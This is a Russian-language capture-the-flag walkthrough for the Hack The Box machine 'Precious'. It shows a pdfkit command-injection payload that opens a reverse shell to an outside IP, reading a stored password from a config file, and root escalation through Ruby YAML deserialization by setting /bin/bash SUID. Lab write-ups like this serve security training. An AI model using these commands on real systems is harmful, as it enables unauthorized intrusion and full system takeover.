Сбор информации
Прежде всего, соберем информацию о машине.
Используем nmap с ключами -sV -sC:
![](https://habrastorage.org/getpro/habr/upload_files/aa3/ac2/873/aa3ac2873ddc6e1059dc8cd4ac18e76f.png)
Сканирование показало, что порт 22 и порт 80 — октрыты. Видим , что порт 80 перенаправляет на http://precious.htb . Чтоб увидеть сайт, добавим его в /etc/hosts .
Посмотрим какие есть директории используя инструмент dirsearch:
![](https://habrastorage.org/getpro/habr/upload_files/e5d/067/f65/e5d067f65949d022e0b8ec4b9d054568.png)
Тут ничего. Проверим web server. При переходе на precious.htb , видим такую страницу:
Веб сервер предлагает сервис по конвертации веб-страниц в файл PDF. Проверим, работает ли. Запустим локальный сервер у себя.
![](https://habrastorage.org/getpro/habr/upload_files/e48/945/34b/e4894534bbf321f4b78828513e5f3040.png)
Создадим index.html в директории localhost, и внесём его в адресную строку :
![](https://habrastorage.org/getpro/habr/upload_files/c6c/d11/adc/c6cd11adc61ef4afb3ec644263635182.png)
Сработало! Скачали PDF файл, посмотрим что он из себя представляет:
![](https://habrastorage.org/getpro/habr/upload_files/002/599/25c/00259925cb25f61028c4ffbbe4fe6744.png)
Посмотрим его свойства, он создан pdfkit v.0.8.6 .
Выглядит как обычный PDF файл. Смотрим его свойства и видим что PDF создан pdfkit v.0.8.6 .
Беглое исследование в google приводит нас к тому, что существует уязвимость CVE-2022-25765, и можно узнать, что эта версия pdfkit уязвима к command injections.
Ознакомиться с CVE можно тут: https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795
Согласно CVE, “an application could be vulnerable if it tries to render a URL that contains query string parameters with user input” и “if the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFKit executes to render the PDF”. Этого достаточно, чтобы проникнуть!
Запустим netcat на прослушку порта 4444:
sudo nc -lnvp 4444
![](https://habrastorage.org/getpro/habr/upload_files/94b/de9/563/94bde95636b6549c2b9257151840810c.png)
В веб сервисе http://precious.htb модифицируем эксплойт под наши нужды и введём:
http://localhost.com/?name=#{'%20`bash -c "bash -i >& /dev/tcp/10.10.14.33/4444 0>&1"`'}
Смотрим в terminal и видим, что мы вошли.
![](https://habrastorage.org/getpro/habr/upload_files/368/099/451/3680994510213c7272fed9876aee997c.png)
Получаем user flag:
Whoami → ruby
Итак мы залогинились на сервер, как пользователь ruby. Переместимся в папку /home и в ней находим ещё две папки. Одна из них наш ruby user, а вторая для user’а henry. Внутри папки henry обнаруживаем файл user.txt . Это и есть наш флаг. Но пока не имеем к нему доступа.
Осмотревшись, находим файл в /home/ruby/.bundle, названый config.
Смотрим содержимое cat config. и обнаруживаем пароль для user’а henry.
![](https://habrastorage.org/getpro/habr/upload_files/51b/9b1/9a9/51b9b19a9c7cb61dcb43f3364430f0ac.png)
Используя данные henry, подключимся по ssh к серверу под user’ом henry:
![](https://habrastorage.org/getpro/habr/upload_files/423/382/338/42338233885cccafc01c6b9da49506b2.png)
Теперь можем посмотреть user.txt, и берём первый флаг!
![](https://habrastorage.org/getpro/habr/upload_files/2c8/c30/11b/2c8c3011b35f28d5b8fcbbb992f1e75c.png)
Получаем root flag:
Теперь, когда мы внутри как henry, давайте посмотрим, что можно сделать. Используем команду sudo -l, и посмотрим, что можно запустить:
![](https://habrastorage.org/getpro/habr/upload_files/d3f/9a5/0c3/d3f9a50c302f5f3135b0b6be230693cd.png)
Похоже henry может запустить файл update_dependencies.rb , как root, используем cat и изучим файл.
![](https://habrastorage.org/getpro/habr/upload_files/81a/873/88b/81a87388bd5bfba0682994255fc43551.png)
Смотрим на код и обнаруживаем, что он использует YAML.load , который уязвим к deserialization attack.
Почитать больше о YAML deserialization attacks можно тут:
Недолгие поиски привели к https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/ находим dependencies.yml, и модифицируем его.
![](https://habrastorage.org/getpro/habr/upload_files/f51/b1d/31b/f51b1d31b0b49bf8449113d56680c52b.png)
Sudo nano dependencies.yml, и берём код на Ruby on Rails из поста выше.
В строке git_set: id, напишем «chmod 4777 /bin/bash», если всё продумано верно, то это позволит получить нам root.
Запускаем файл.
Sudo /usr/bin/ruby /opt/update_dependencies.rb
![](https://habrastorage.org/getpro/habr/upload_files/817/cfc/750/817cfc7502beaf480a83e93dff7e30ca.png)
Сработало!
Пробуем /bin/bash -p
![](https://habrastorage.org/getpro/habr/upload_files/c2e/96b/625/c2e96b6258f5ca148a56a687b6f8b04b.png)
Готово, берём root флаг!